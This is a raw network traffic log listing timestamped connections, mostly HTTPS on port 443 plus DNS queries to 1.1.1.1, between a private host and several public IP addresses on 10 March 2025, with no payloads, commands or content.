Mar 10, 2025 13:56:16.009849072 CET	49678	443	192.168.2.6	20.42.65.91
Mar 10, 2025 13:56:16.158731937 CET	443	49694	46.31.79.76	192.168.2.6
Mar 10, 2025 13:56:16.235471010 CET	49694	443	192.168.2.6	46.31.79.76
Mar 10, 2025 13:56:16.235486031 CET	443	49694	46.31.79.76	192.168.2.6
Mar 10, 2025 13:56:16.338902950 CET	49694	443	192.168.2.6	46.31.79.76
Mar 10, 2025 13:56:16.373024940 CET	443	49694	46.31.79.76	192.168.2.6
Mar 10, 2025 13:56:16.373039961 CET	443	49694	46.31.79.76	192.168.2.6
Mar 10, 2025 13:56:16.373069048 CET	443	49694	46.31.79.76	192.168.2.6
Mar 10, 2025 13:56:16.373090029 CET	443	49694	46.31.79.76	192.168.2.6
Mar 10, 2025 13:56:16.373096943 CET	443	49694	46.31.79.76	192.168.2.6
Mar 10, 2025 13:56:16.379806995 CET	49694	443	192.168.2.6	46.31.79.76
Mar 10, 2025 13:56:16.379832029 CET	443	49694	46.31.79.76	192.168.2.6
Mar 10, 2025 13:56:16.392570019 CET	49694	443	192.168.2.6	46.31.79.76
Mar 10, 2025 13:56:16.406750917 CET	443	49694	46.31.79.76	192.168.2.6
Mar 10, 2025 13:56:16.406785965 CET	443	49694	46.31.79.76	192.168.2.6
Mar 10, 2025 13:56:16.406939030 CET	443	49694	46.31.79.76	192.168.2.6
Mar 10, 2025 13:56:16.406960964 CET	443	49694	46.31.79.76	192.168.2.6
Mar 10, 2025 13:56:16.406980038 CET	443	49694	46.31.79.76	192.168.2.6
Mar 10, 2025 13:56:16.406989098 CET	443	49694	46.31.79.76	192.168.2.6
Mar 10, 2025 13:56:16.407634974 CET	49694	443	192.168.2.6	46.31.79.76
Mar 10, 2025 13:56:16.423697948 CET	49694	443	192.168.2.6	46.31.79.76
Mar 10, 2025 13:56:16.632808924 CET	49700	53	192.168.2.6	1.1.1.1
Mar 10, 2025 13:56:16.637881994 CET	53	49700	1.1.1.1	192.168.2.6
Mar 10, 2025 13:56:16.638005018 CET	49700	53	192.168.2.6	1.1.1.1
Mar 10, 2025 13:56:16.638125896 CET	49700	53	192.168.2.6	1.1.1.1
Mar 10, 2025 13:56:16.638134003 CET	49700	53	192.168.2.6	1.1.1.1
Mar 10, 2025 13:56:16.638175964 CET	49700	53	192.168.2.6	1.1.1.1
Mar 10, 2025 13:56:16.638991117 CET	49701	443	192.168.2.6	142.250.185.68
Mar 10, 2025 13:56:16.639030933 CET	443	49701	142.250.185.68	192.168.2.6
Mar 10, 2025 13:56:16.639163017 CET	49701	443	192.168.2.6	142.250.185.68
Mar 10, 2025 13:56:16.639661074 CET	49701	443	192.168.2.6	142.250.185.68
Mar 10, 2025 13:56:16.639676094 CET	443	49701	142.250.185.68	192.168.2.6
Mar 10, 2025 13:56:16.643093109 CET	53	49700	1.1.1.1	192.168.2.6
Mar 10, 2025 13:56:16.643146992 CET	53	49700	1.1.1.1	192.168.2.6
Mar 10, 2025 13:56:16.687541008 CET	53	49700	1.1.1.1	192.168.2.6
Mar 10, 2025 13:56:16.808150053 CET	443	49694	46.31.79.76	192.168.2.6
Mar 10, 2025 13:56:16.808166027 CET	443	49694	46.31.79.76	192.168.2.6
Mar 10, 2025 13:56:16.808187008 CET	443	49694	46.31.79.76	192.168.2.6
Mar 10, 2025 13:56:16.808195114 CET	443	49694	46.31.79.76	192.168.2.6
Mar 10, 2025 13:56:16.808219910 CET	443	49694	46.31.79.76	192.168.2.6
Mar 10, 2025 13:56:16.808233023 CET	443	49694	46.31.79.76	192.168.2.6
Mar 10, 2025 13:56:16.810981989 CET	49694	443	192.168.2.6	46.31.79.76
Mar 10, 2025 13:56:16.811877012 CET	49694	443	192.168.2.6	46.31.79.76
Mar 10, 2025 13:56:16.844726086 CET	443	49694	46.31.79.76	192.168.2.6
Mar 10, 2025 13:56:16.844738960 CET	443	49694	46.31.79.76	192.168.2.6
Mar 10, 2025 13:56:16.844753981 CET	443	49694	46.31.79.76	192.168.2.6
Mar 10, 2025 13:56:16.844759941 CET	443	49694	46.31.79.76	192.168.2.6
Mar 10, 2025 13:56:16.844784975 CET	443	49694	46.31.79.76	192.168.2.6
Mar 10, 2025 13:56:16.844796896 CET	443	49694	46.31.79.76	192.168.2.6
Mar 10, 2025 13:56:16.844856977 CET	49694	443	192.168.2.6	46.31.79.76
Mar 10, 2025 13:56:16.845151901 CET	49694	443	192.168.2.6	46.31.79.76
Mar 10, 2025 13:56:16.881429911 CET	443	49694	46.31.79.76	192.168.2.6
Mar 10, 2025 13:56:16.881443977 CET	443	49694	46.31.79.76	192.168.2.6
Mar 10, 2025 13:56:16.881481886 CET	443	49694	46.31.79.76	192.168.2.6
Mar 10, 2025 13:56:16.881505013 CET	443	49694	46.31.79.76	192.168.2.6
Mar 10, 2025 13:56:16.881524086 CET	443	49694	46.31.79.76	192.168.2.6
Mar 10, 2025 13:56:16.881530046 CET	443	49694	46.31.79.76	192.168.2.6
Mar 10, 2025 13:56:16.882217884 CET	49694	443	192.168.2.6	46.31.79.76
Mar 10, 2025 13:56:16.882447958 CET	49694	443	192.168.2.6	46.31.79.76
Mar 10, 2025 13:56:16.899760962 CET	443	49694	46.31.79.76	192.168.2.6
Mar 10, 2025 13:56:16.899771929 CET	443	49694	46.31.79.76	192.168.2.6
Mar 10, 2025 13:56:16.899815083 CET	443	49694	46.31.79.76	192.168.2.6
Mar 10, 2025 13:56:16.902367115 CET	49694	443	192.168.2.6	46.31.79.76
Mar 10, 2025 13:56:16.902388096 CET	443	49694	46.31.79.76	192.168.2.6
Mar 10, 2025 13:56:16.903342962 CET	49694	443	192.168.2.6	46.31.79.76
Mar 10, 2025 13:56:16.905783892 CET	443	49694	46.31.79.76	192.168.2.6
Mar 10, 2025 13:56:16.905848026 CET	443	49694	46.31.79.76	192.168.2.6
Mar 10, 2025 13:56:16.906075001 CET	49694	443	192.168.2.6	46.31.79.76
Mar 10, 2025 13:56:16.908448935 CET	49694	443	192.168.2.6	46.31.79.76
Mar 10, 2025 13:56:16.908463001 CET	443	49694	46.31.79.76	192.168.2.6
Mar 10, 2025 13:56:16.972978115 CET	49702	443	192.168.2.6	62.153.158.211
Mar 10, 2025 13:56:16.973005056 CET	443	49702	62.153.158.211	192.168.2.6
Mar 10, 2025 13:56:16.973131895 CET	49703	443	192.168.2.6	62.153.158.211
Mar 10, 2025 13:56:16.973185062 CET	443	49703	62.153.158.211	192.168.2.6
Mar 10, 2025 13:56:16.973295927 CET	49704	443	192.168.2.6	62.153.158.211
Mar 10, 2025 13:56:16.973340034 CET	443	49704	62.153.158.211	192.168.2.6
Mar 10, 2025 13:56:16.973531961 CET	49702	443	192.168.2.6	62.153.158.211
Mar 10, 2025 13:56:16.973553896 CET	49703	443	192.168.2.6	62.153.158.211
Mar 10, 2025 13:56:16.974244118 CET	49703	443	192.168.2.6	62.153.158.211
Mar 10, 2025 13:56:16.974260092 CET	443	49703	62.153.158.211	192.168.2.6
Mar 10, 2025 13:56:16.974633932 CET	49702	443	192.168.2.6	62.153.158.211
Mar 10, 2025 13:56:16.974647999 CET	443	49702	62.153.158.211	192.168.2.6
Mar 10, 2025 13:56:16.974996090 CET	49705	443	192.168.2.6	80.146.236.47
Mar 10, 2025 13:56:16.975029945 CET	443	49705	80.146.236.47	192.168.2.6
Mar 10, 2025 13:56:16.975156069 CET	49706	443	192.168.2.6	80.146.236.47
Mar 10, 2025 13:56:16.975166082 CET	443	49706	80.146.236.47	192.168.2.6
Mar 10, 2025 13:56:16.978199959 CET	49704	443	192.168.2.6	62.153.158.211
Mar 10, 2025 13:56:16.980560064 CET	49707	443	192.168.2.6	104.17.25.14
Mar 10, 2025 13:56:16.980604887 CET	443	49707	104.17.25.14	192.168.2.6
Mar 10, 2025 13:56:16.980880022 CET	49708	443	192.168.2.6	151.101.194.137
Mar 10, 2025 13:56:16.980909109 CET	443	49708	151.101.194.137	192.168.2.6
Mar 10, 2025 13:56:16.981164932 CET	49709	443	192.168.2.6	172.67.41.16
Mar 10, 2025 13:56:16.981199026 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:16.981592894 CET	49704	443	192.168.2.6	62.153.158.211
Mar 10, 2025 13:56:16.981604099 CET	443	49704	62.153.158.211	192.168.2.6
Mar 10, 2025 13:56:16.982614994 CET	49705	443	192.168.2.6	80.146.236.47
Mar 10, 2025 13:56:16.982634068 CET	49706	443	192.168.2.6	80.146.236.47
Mar 10, 2025 13:56:16.982753992 CET	49708	443	192.168.2.6	151.101.194.137
Mar 10, 2025 13:56:16.982753038 CET	49707	443	192.168.2.6	104.17.25.14
Mar 10, 2025 13:56:16.983530998 CET	49708	443	192.168.2.6	151.101.194.137
Mar 10, 2025 13:56:16.983547926 CET	443	49708	151.101.194.137	192.168.2.6
Mar 10, 2025 13:56:16.983930111 CET	49707	443	192.168.2.6	104.17.25.14
Mar 10, 2025 13:56:16.983944893 CET	443	49707	104.17.25.14	192.168.2.6
Mar 10, 2025 13:56:16.984740019 CET	49706	443	192.168.2.6	80.146.236.47
Mar 10, 2025 13:56:16.984747887 CET	443	49706	80.146.236.47	192.168.2.6
Mar 10, 2025 13:56:16.985071898 CET	49705	443	192.168.2.6	80.146.236.47
Mar 10, 2025 13:56:16.985095024 CET	443	49705	80.146.236.47	192.168.2.6
Mar 10, 2025 13:56:16.985352993 CET	49711	443	192.168.2.6	104.18.11.207
Mar 10, 2025 13:56:16.985362053 CET	443	49711	104.18.11.207	192.168.2.6
Mar 10, 2025 13:56:16.985891104 CET	49709	443	192.168.2.6	172.67.41.16
Mar 10, 2025 13:56:16.986032963 CET	49711	443	192.168.2.6	104.18.11.207
Mar 10, 2025 13:56:16.986561060 CET	49711	443	192.168.2.6	104.18.11.207
Mar 10, 2025 13:56:16.986571074 CET	443	49711	104.18.11.207	192.168.2.6
Mar 10, 2025 13:56:16.987231970 CET	49709	443	192.168.2.6	172.67.41.16
Mar 10, 2025 13:56:16.987258911 CET	443	49709	172.67.41.16	192.168.2.6
Mar 10, 2025 13:56:17.019803047 CET	53	49700	1.1.1.1	192.168.2.6
Mar 10, 2025 13:56:17.022599936 CET	49700	53	192.168.2.6	1.1.1.1
Mar 10, 2025 13:56:18.654454947 CET	443	49701	142.250.185.68	192.168.2.6
Mar 10, 2025 13:56:18.654834032 CET	49701	443	192.168.2.6	142.250.185.68
Mar 10, 2025 13:56:18.654858112 CET	443	49701	142.250.185.68	192.168.2.6
Mar 10, 2025 13:56:18.656325102 CET	443	49701	142.250.185.68	192.168.2.6
Mar 10, 2025 13:56:18.656421900 CET	49701	443	192.168.2.6	142.250.185.68
Mar 10, 2025 13:56:18.669332981 CET	49701	443	192.168.2.6	142.250.185.68
Mar 10, 2025 13:56:18.669472933 CET	443	49701	142.250.185.68	192.168.2.6
Mar 10, 2025 13:56:18.742630959 CET	49701	443	192.168.2.6	142.250.185.68
Mar 10, 2025 13:56:18.742649078 CET	443	49701	142.250.185.68	192.168.2.6
Mar 10, 2025 13:56:18.805771112 CET	49701	443	192.168.2.6	142.250.185.68
Mar 10, 2025 13:56:18.826147079 CET	443	49708	151.101.194.137	192.168.2.6
Mar 10, 2025 13:56:18.826858997 CET	49708	443	192.168.2.6	151.101.194.137
Mar 10, 2025 13:56:18.826873064 CET	443	49708	151.101.194.137	192.168.2.6
Mar 10, 2025 13:56:18.828013897 CET	443	49708	151.101.194.137	192.168.2.6
Mar 10, 2025 13:56:18.832007885 CET	49708	443	192.168.2.6	151.101.194.137
Mar 10, 2025 13:56:18.867408991 CET	49708	443	192.168.2.6	151.101.194.137
Mar 10, 2025 13:56:18.867506981 CET	443	49708	151.101.194.137	192.168.2.6
Mar 10, 2025 13:56:18.876923084 CET	443	49707	104.17.25.14	192.168.2.6
Mar 10, 2025 13:56:18.889369965 CET	49707	443	192.168.2.6	104.17.25.14
Mar 10, 2025 13:56:18.889388084 CET	443	49707	104.17.25.14	192.168.2.6
Mar 10, 2025 13:56:18.892421961 CET	49708	443	192.168.2.6	151.101.194.137
Mar 10, 2025 13:56:18.892441034 CET	443	49708	151.101.194.137	192.168.2.6
Mar 10, 2025 13:56:18.892548084 CET	443	49707	104.17.25.14	192.168.2.6
Mar 10, 2025 13:56:18.895348072 CET	49707	443	192.168.2.6	104.17.25.14
Mar 10, 2025 13:56:18.938436985 CET	49708	443	192.168.2.6	151.101.194.137
Mar 10, 2025 13:56:18.941606998 CET	49707	443	192.168.2.6	104.17.25.14
Mar 10, 2025 13:56:18.941812038 CET	49707	443	192.168.2.6	104.17.25.14
Mar 10, 2025 13:56:18.942017078 CET	443	49707	104.17.25.14	192.168.2.6
Mar 10, 2025 13:56:18.991414070 CET	49707	443	192.168.2.6	104.17.25.14
Mar 10, 2025 13:56:18.991425037 CET	443	49707	104.17.25.14	192.168.2.6
Mar 10, 2025 13:56:19.000705004 CET	443	49702	62.153.158.211	192.168.2.6
Mar 10, 2025 13:56:19.000946999 CET	49702	443	192.168.2.6	62.153.158.211
Mar 10, 2025 13:56:19.000983953 CET	443	49702	62.153.158.211	192.168.2.6
Mar 10, 2025 13:56:19.002083063 CET	443	49702	62.153.158.211	192.168.2.6
Mar 10, 2025 13:56:19.002154112 CET	49702	443	192.168.2.6	62.153.158.211
Mar 10, 2025 13:56:19.003242016 CET	49702	443	192.168.2.6	62.153.158.211
Mar 10, 2025 13:56:19.003312111 CET	443	49702	62.153.158.211	192.168.2.6
Mar 10, 2025 13:56:19.003463984 CET	49702	443	192.168.2.6	62.153.158.211
Mar 10, 2025 13:56:19.011320114 CET	443	49703	62.153.158.211	192.168.2.6
Mar 10, 2025 13:56:19.011545897 CET	49703	443	192.168.2.6	62.153.158.211
Mar 10, 2025 13:56:19.011562109 CET	443	49703	62.153.158.211	192.168.2.6
Mar 10, 2025 13:56:19.011683941 CET	443	49704	62.153.158.211	192.168.2.6
Mar 10, 2025 13:56:19.011900902 CET	49704	443	192.168.2.6	62.153.158.211
Mar 10, 2025 13:56:19.011919022 CET	443	49704	62.153.158.211	192.168.2.6
Mar 10, 2025 13:56:19.012833118 CET	443	49703	62.153.158.211	192.168.2.6
Mar 10, 2025 13:56:19.012893915 CET	49703	443	192.168.2.6	62.153.158.211
Mar 10, 2025 13:56:19.013185978 CET	49703	443	192.168.2.6	62.153.158.211
Mar 10, 2025 13:56:19.013242960 CET	443	49703	62.153.158.211	192.168.2.6
Mar 10, 2025 13:56:19.013319016 CET	49703	443	192.168.2.6	62.153.158.211
Mar 10, 2025 13:56:19.013324976 CET	443	49703	62.153.158.211	192.168.2.6
Mar 10, 2025 13:56:19.014183044 CET	443	49704	62.153.158.211	192.168.2.6
Mar 10, 2025 13:56:19.014240980 CET	49704	443	192.168.2.6	62.153.158.211
Mar 10, 2025 13:56:19.014528036 CET	49704	443	192.168.2.6	62.153.158.211
Mar 10, 2025 13:56:19.014631987 CET	49704	443	192.168.2.6	62.153.158.211
Mar 10, 2025 13:56:19.014640093 CET	443	49704	62.153.158.211	192.168.2.6
Mar 10, 2025 13:56:19.044346094 CET	443	49702	62.153.158.211	192.168.2.6
Mar 10, 2025 13:56:19.049218893 CET	49707	443	192.168.2.6	104.17.25.14
Mar 10, 2025 13:56:19.056369066 CET	443	49704	62.153.158.211	192.168.2.6
Mar 10, 2025 13:56:19.064325094 CET	49703	443	192.168.2.6	62.153.158.211
Mar 10, 2025 13:56:19.064471006 CET	49704	443	192.168.2.6	62.153.158.211
Mar 10, 2025 13:56:19.064486980 CET	443	49704	62.153.158.211	192.168.2.6
Mar 10, 2025 13:56:19.109888077 CET	49704	443	192.168.2.6	62.153.158.211
Mar 10, 2025 13:56:19.109894991 CET	49702	443	192.168.2.6	62.153.158.211
Mar 10, 2025 13:56:19.109927893 CET	443	49702	62.153.158.211	192.168.2.6
Mar 10, 2025 13:56:19.155706882 CET	49702	443	192.168.2.6	62.153.158.211
Mar 10, 2025 13:56:19.265197992 CET	443	49708	151.101.194.137	192.168.2.6
Mar 10, 2025 13:56:19.274939060 CET	443	49708	151.101.194.137	192.168.2.6
Mar 10, 2025 13:56:19.274974108 CET	443	49708	151.101.194.137	192.168.2.6
Mar 10, 2025 13:56:19.275007963 CET	443	49708	151.101.194.137	192.168.2.6
Mar 10, 2025 13:56:19.275026083 CET	49708	443	192.168.2.6	151.101.194.137
Mar 10, 2025 13:56:19.275044918 CET	443	49708	151.101.194.137	192.168.2.6
Mar 10, 2025 13:56:19.275250912 CET	49708	443	192.168.2.6	151.101.194.137
Mar 10, 2025 13:56:19.275260925 CET	443	49708	151.101.194.137	192.168.2.6
Mar 10, 2025 13:56:19.275908947 CET	49708	443	192.168.2.6	151.101.194.137
Mar 10, 2025 13:56:19.281692982 CET	443	49708	151.101.194.137	192.168.2.6
Mar 10, 2025 13:56:19.290760994 CET	443	49708	151.101.194.137	192.168.2.6
Mar 10, 2025 13:56:19.290813923 CET	443	49708	151.101.194.137	192.168.2.6
Mar 10, 2025 13:56:19.290822983 CET	49708	443	192.168.2.6	151.101.194.137
Mar 10, 2025 13:56:19.290838003 CET	443	49708	151.101.194.137	192.168.2.6
Mar 10, 2025 13:56:19.291033983 CET	49708	443	192.168.2.6	151.101.194.137
Mar 10, 2025 13:56:19.320044994 CET	443	49708	151.101.194.137	192.168.2.6
Mar 10, 2025 13:56:19.358985901 CET	443	49708	151.101.194.137	192.168.2.6
Mar 10, 2025 13:56:19.359034061 CET	443	49708	151.101.194.137	192.168.2.6
Mar 10, 2025 13:56:19.359065056 CET	443	49708	151.101.194.137	192.168.2.6
Mar 10, 2025 13:56:19.360709906 CET	49708	443	192.168.2.6	151.101.194.137
Mar 10, 2025 13:56:19.360730886 CET	443	49708	151.101.194.137	192.168.2.6
Mar 10, 2025 13:56:19.361860991 CET	443	49708	151.101.194.137	192.168.2.6
Mar 10, 2025 13:56:19.361920118 CET	49708	443	192.168.2.6	151.101.194.137
Mar 10, 2025 13:56:19.361927032 CET	443	49708	151.101.194.137	192.168.2.6
Mar 10, 2025 13:56:19.370064020 CET	443	49708	151.101.194.137	192.168.2.6
Mar 10, 2025 13:56:19.370107889 CET	443	49708	151.101.194.137	192.168.2.6
Mar 10, 2025 13:56:19.370155096 CET	49708	443	192.168.2.6	151.101.194.137
Mar 10, 2025 13:56:19.370165110 CET	443	49708	151.101.194.137	192.168.2.6
Mar 10, 2025 13:56:19.370295048 CET	49708	443	192.168.2.6	151.101.194.137
Mar 10, 2025 13:56:19.373461962 CET	443	49708	151.101.194.137	192.168.2.6
Mar 10, 2025 13:56:19.373867989 CET	443	49707	104.17.25.14	192.168.2.6
Mar 10, 2025 13:56:19.374087095 CET	443	49707	104.17.25.14	192.168.2.6
Mar 10, 2025 13:56:19.374142885 CET	49707	443	192.168.2.6	104.17.25.14
Mar 10, 2025 13:56:19.374155998 CET	443	49707	104.17.25.14	192.168.2.6
Mar 10, 2025 13:56:19.374259949 CET	443	49707	104.17.25.14	192.168.2.6
Mar 10, 2025 13:56:19.374464035 CET	49707	443	192.168.2.6	104.17.25.14
Mar 10, 2025 13:56:19.374469995 CET	443	49707	104.17.25.14	192.168.2.6
Mar 10, 2025 13:56:19.380251884 CET	443	49708	151.101.194.137	192.168.2.6
Mar 10, 2025 13:56:19.380310059 CET	49708	443	192.168.2.6	151.101.194.137
Mar 10, 2025 13:56:19.380319118 CET	443	49708	151.101.194.137	192.168.2.6
Mar 10, 2025 13:56:19.380709887 CET	443	49707	104.17.25.14	192.168.2.6
Mar 10, 2025 13:56:19.380953074 CET	49707	443	192.168.2.6	104.17.25.14
Mar 10, 2025 13:56:19.380959034 CET	443	49707	104.17.25.14	192.168.2.6
Mar 10, 2025 13:56:19.387280941 CET	443	49707	104.17.25.14	192.168.2.6
Mar 10, 2025 13:56:19.387340069 CET	443	49708	151.101.194.137	192.168.2.6
Mar 10, 2025 13:56:19.387356043 CET	49707	443	192.168.2.6	104.17.25.14
Mar 10, 2025 13:56:19.387362003 CET	443	49707	104.17.25.14	192.168.2.6
Mar 10, 2025 13:56:19.387371063 CET	443	49708	151.101.194.137	192.168.2.6
Mar 10, 2025 13:56:19.387487888 CET	49708	443	192.168.2.6	151.101.194.137
Mar 10, 2025 13:56:19.387495995 CET	443	49708	151.101.194.137	192.168.2.6
Mar 10, 2025 13:56:19.388298988 CET	49708	443	192.168.2.6	151.101.194.137
Mar 10, 2025 13:56:19.393790007 CET	443	49708	151.101.194.137	192.168.2.6
Mar 10, 2025 13:56:19.393883944 CET	443	49707	104.17.25.14	192.168.2.6
Mar 10, 2025 13:56:19.393969059 CET	443	49707	104.17.25.14	192.168.2.6
Mar 10, 2025 13:56:19.394253016 CET	49707	443	192.168.2.6	104.17.25.14
Mar 10, 2025 13:56:19.394259930 CET	443	49707	104.17.25.14	192.168.2.6
Mar 10, 2025 13:56:19.394351959 CET	49707	443	192.168.2.6	104.17.25.14
Mar 10, 2025 13:56:19.400523901 CET	443	49708	151.101.194.137	192.168.2.6
Mar 10, 2025 13:56:19.400561094 CET	443	49708	151.101.194.137	192.168.2.6
Mar 10, 2025 13:56:19.400577068 CET	49708	443	192.168.2.6	151.101.194.137
Mar 10, 2025 13:56:19.400585890 CET	443	49708	151.101.194.137	192.168.2.6
Mar 10, 2025 13:56:19.400686979 CET	49708	443	192.168.2.6	151.101.194.137
Mar 10, 2025 13:56:19.407295942 CET	443	49708	151.101.194.137	192.168.2.6
Mar 10, 2025 13:56:19.414155006 CET	443	49708	151.101.194.137	192.168.2.6
Mar 10, 2025 13:56:19.414200068 CET	443	49708	151.101.194.137	192.168.2.6
Mar 10, 2025 13:56:19.414374113 CET	49708	443	192.168.2.6	151.101.194.137
Mar 10, 2025 13:56:19.414382935 CET	443	49708	151.101.194.137	192.168.2.6
Mar 10, 2025 13:56:19.414618969 CET	49708	443	192.168.2.6	151.101.194.137
Mar 10, 2025 13:56:19.421000004 CET	443	49708	151.101.194.137	192.168.2.6
Mar 10, 2025 13:56:19.427604914 CET	443	49708	151.101.194.137	192.168.2.6
Mar 10, 2025 13:56:19.427670002 CET	49708	443	192.168.2.6	151.101.194.137
Mar 10, 2025 13:56:19.427679062 CET	443	49708	151.101.194.137	192.168.2.6
Mar 10, 2025 13:56:19.456523895 CET	443	49705	80.146.236.47	192.168.2.6
Mar 10, 2025 13:56:19.456804037 CET	49705	443	192.168.2.6	80.146.236.47
Mar 10, 2025 13:56:19.456821918 CET	443	49705	80.146.236.47	192.168.2.6
Mar 10, 2025 13:56:19.457928896 CET	443	49705	80.146.236.47	192.168.2.6
Mar 10, 2025 13:56:19.457941055 CET	443	49705	80.146.236.47	192.168.2.6
Mar 10, 2025 13:56:19.457988024 CET	49705	443	192.168.2.6	80.146.236.47
Mar 10, 2025 13:56:19.458929062 CET	49705	443	192.168.2.6	80.146.236.47
Mar 10, 2025 13:56:19.459001064 CET	443	49705	80.146.236.47	192.168.2.6
Mar 10, 2025 13:56:19.459099054 CET	49705	443	192.168.2.6	80.146.236.47
Mar 10, 2025 13:56:19.465996027 CET	443	49708	151.101.194.137	192.168.2.6
Mar 10, 2025 13:56:19.466011047 CET	443	49708	151.101.194.137	192.168.2.6
Mar 10, 2025 13:56:19.466031075 CET	443	49708	151.101.194.137	192.168.2.6
Mar 10, 2025 13:56:19.466064930 CET	49708	443	192.168.2.6	151.101.194.137
Mar 10, 2025 13:56:19.466082096 CET	443	49708	151.101.194.137	192.168.2.6
Mar 10, 2025 13:56:19.466108084 CET	443	49708	151.101.194.137	192.168.2.6
Mar 10, 2025 13:56:19.466196060 CET	49708	443	192.168.2.6	151.101.194.137
Mar 10, 2025 13:56:19.469877958 CET	443	49707	104.17.25.14	192.168.2.6
Mar 10, 2025 13:56:19.470071077 CET	443	49707	104.17.25.14	192.168.2.6
Mar 10, 2025 13:56:19.470174074 CET	443	49707	104.17.25.14	192.168.2.6
Mar 10, 2025 13:56:19.470381021 CET	49707	443	192.168.2.6	104.17.25.14
Mar 10, 2025 13:56:19.470396042 CET	443	49707	104.17.25.14	192.168.2.6
Mar 10, 2025 13:56:19.470418930 CET	443	49707	104.17.25.14	192.168.2.6
Mar 10, 2025 13:56:19.470439911 CET	443	49708	151.101.194.137	192.168.2.6
Mar 10, 2025 13:56:19.470561028 CET	49707	443	192.168.2.6	104.17.25.14
Mar 10, 2025 13:56:19.470573902 CET	443	49708	151.101.194.137	192.168.2.6
Mar 10, 2025 13:56:19.470598936 CET	49708	443	192.168.2.6	151.101.194.137
Mar 10, 2025 13:56:19.470818996 CET	49708	443	192.168.2.6	151.101.194.137
Mar 10, 2025 13:56:19.471021891 CET	49708	443	192.168.2.6	151.101.194.137
Mar 10, 2025 13:56:19.471039057 CET	443	49708	151.101.194.137	192.168.2.6
Mar 10, 2025 13:56:19.471055031 CET	49708	443	192.168.2.6	151.101.194.137
Mar 10, 2025 13:56:19.472244024 CET	49707	443	192.168.2.6	104.17.25.14
Mar 10, 2025 13:56:19.472264051 CET	443	49707	104.17.25.14	192.168.2.6
Mar 10, 2025 13:56:19.473459959 CET	49708	443	192.168.2.6	151.101.194.137
Mar 10, 2025 13:56:19.504327059 CET	443	49705	80.146.236.47	192.168.2.6
Mar 10, 2025 13:56:19.507230997 CET	49705	443	192.168.2.6	80.146.236.47
Mar 10, 2025 13:56:19.507265091 CET	443	49705	80.146.236.47	192.168.2.6
Mar 10, 2025 13:56:19.545284986 CET	443	49706	80.146.236.47	192.168.2.6
Mar 10, 2025 13:56:19.545578003 CET	49706	443	192.168.2.6	80.146.236.47
Mar 10, 2025 13:56:19.545627117 CET	443	49706	80.146.236.47	192.168.2.6
Mar 10, 2025 13:56:19.546724081 CET	443	49706	80.146.236.47	192.168.2.6
Mar 10, 2025 13:56:19.546737909 CET	443	49706	80.146.236.47	192.168.2.6
Mar 10, 2025 13:56:19.546827078 CET	49706	443	192.168.2.6	80.146.236.47
Mar 10, 2025 13:56:19.547233105 CET	49706	443	192.168.2.6	80.146.236.47
Mar 10, 2025 13:56:19.547297001 CET	443	49706	80.146.236.47	192.168.2.6
Mar 10, 2025 13:56:19.547390938 CET	49706	443	192.168.2.6	80.146.236.47
Mar 10, 2025 13:56:19.556135893 CET	49705	443	192.168.2.6	80.146.236.47
Mar 10, 2025 13:56:19.588323116 CET	443	49706	80.146.236.47	192.168.2.6
Mar 10, 2025 13:56:19.594885111 CET	443	49702	62.153.158.211	192.168.2.6
Mar 10, 2025 13:56:19.594965935 CET	443	49702	62.153.158.211	192.168.2.6
Mar 10, 2025 13:56:19.595102072 CET	49702	443	192.168.2.6	62.153.158.211
Mar 10, 2025 13:56:19.595535994 CET	49702	443	192.168.2.6	62.153.158.211
Mar 10, 2025 13:56:19.595555067 CET	443	49702	62.153.158.211	192.168.2.6
Mar 10, 2025 13:56:19.599783897 CET	49706	443	192.168.2.6	80.146.236.47
Mar 10, 2025 13:56:19.599796057 CET	443	49706	80.146.236.47	192.168.2.6
Mar 10, 2025 13:56:19.603677988 CET	443	49703	62.153.158.211	192.168.2.6
Mar 10, 2025 13:56:19.603739023 CET	443	49703	62.153.158.211	192.168.2.6
Mar 10, 2025 13:56:19.603806019 CET	49703	443	192.168.2.6	62.153.158.211
Mar 10, 2025 13:56:19.603831053 CET	443	49703	62.153.158.211	192.168.2.6
Mar 10, 2025 13:56:19.603880882 CET	49703	443	192.168.2.6	62.153.158.211
Mar 10, 2025 13:56:19.603890896 CET	443	49703	62.153.158.211	192.168.2.6
Mar 10, 2025 13:56:19.604001999 CET	49703	443	192.168.2.6	62.153.158.211
Mar 10, 2025 13:56:19.604321957 CET	49703	443	192.168.2.6	62.153.158.211
Mar 10, 2025 13:56:19.604336977 CET	443	49703	62.153.158.211	192.168.2.6
Mar 10, 2025 13:56:19.610286951 CET	49713	443	192.168.2.6	62.153.158.211
Mar 10, 2025 13:56:19.610322952 CET	443	49713	62.153.158.211	192.168.2.6
Mar 10, 2025 13:56:19.610436916 CET	49714	443	192.168.2.6	62.153.158.211
Mar 10, 2025 13:56:19.610461950 CET	443	49714	62.153.158.211	192.168.2.6
Mar 10, 2025 13:56:19.610486984 CET	49713	443	192.168.2.6	62.153.158.211
Mar 10, 2025 13:56:19.610836983 CET	49713	443	192.168.2.6	62.153.158.211
Mar 10, 2025 13:56:19.610848904 CET	443	49713	62.153.158.211	192.168.2.6
Mar 10, 2025 13:56:19.610886097 CET	49714	443	192.168.2.6	62.153.158.211
Mar 10, 2025 13:56:19.611170053 CET	49714	443	192.168.2.6	62.153.158.211
Mar 10, 2025 13:56:19.611183882 CET	443	49714	62.153.158.211	192.168.2.6
Mar 10, 2025 13:56:19.618391991 CET	443	49704	62.153.158.211	192.168.2.6
Mar 10, 2025 13:56:19.618454933 CET	443	49704	62.153.158.211	192.168.2.6
Mar 10, 2025 13:56:19.618474960 CET	443	49704	62.153.158.211	192.168.2.6
Mar 10, 2025 13:56:19.618494034 CET	443	49704	62.153.158.211	192.168.2.6
Mar 10, 2025 13:56:19.618668079 CET	443	49704	62.153.158.211	192.168.2.6
Mar 10, 2025 13:56:19.618755102 CET	49704	443	192.168.2.6	62.153.158.211
Mar 10, 2025 13:56:19.618984938 CET	49704	443	192.168.2.6	62.153.158.211
Mar 10, 2025 13:56:19.618999958 CET	443	49704	62.153.158.211	192.168.2.6
Mar 10, 2025 13:56:19.623399973 CET	49715	443	192.168.2.6	62.153.158.211
Mar 10, 2025 13:56:19.623433113 CET	443	49715	62.153.158.211	192.168.2.6
Mar 10, 2025 13:56:19.623548985 CET	49715	443	192.168.2.6	62.153.158.211
Mar 10, 2025 13:56:19.623862028 CET	49715	443	192.168.2.6	62.153.158.211
Mar 10, 2025 13:56:19.623876095 CET	443	49715	62.153.158.211	192.168.2.6
